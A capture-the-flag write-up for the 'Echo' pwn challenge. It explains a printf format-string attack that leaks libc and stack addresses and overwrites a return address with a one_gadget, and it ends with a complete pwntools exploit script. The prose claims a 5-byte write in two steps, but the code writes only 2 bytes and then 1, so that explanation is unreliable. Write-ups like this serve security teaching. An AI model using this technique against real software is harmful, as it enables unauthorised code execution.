🔉

Polyu Qualifier 2023: Echo(Pwn)

There are three chances to perform format string attacks, each with an input size of 24 bytes.
notion image
Noticing that the values of the registers are returned when the program finishes, we can use this information.
notion image
In libc, the conditions for the one_gadet are as follows, which can be met:
$ one_gadget ./libc.so.6 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
For first input, it leaks the addresses of libc and the stack. Based on the return address, we can determine the base address of libc and the stack address corresponding to the ret instruction. Modifying the one_gadget requires 5 bytes, but since printf can modify at most 4 bytes in one go, we split the modification into two steps to write 5 bytes in total. After modifying the address of one_gadget, a shell is obtained.
Payload:
from pwn import * context.log_level = "debug" context.arch = "amd64" # p = remote("chal.polyuctf.com", 31340) p = process(['./echo'], env={'LD_PRELOAD': './libc.so.6'}) libc = ELF('./libc.so.6') p.recvuntil("Tell me something:\n") p.sendline("%43$p%40$p") ret = int(p.recv(14), 16) - 243 - libc.sym['__libc_start_main'] stack = int(p.recv(14), 16) - 0x100 + 0x18 success("ret => " + hex(ret)) success("stack => " + hex(stack)) # First payload to write the least significant 2 bytes payload = "%" + str((ret + 0xe3b01) & 0xffff) + "c%10$hn" p.sendline(payload.ljust(16, "a") + p64(stack)) # Second payload to write the next 2 bytes payload = "%" + str(((ret + 0xe3b01) >> 16) & 0xff) + "c%10$hhn" p.sendline(payload.ljust(16, "a") + p64(stack + 2)) p.interactive()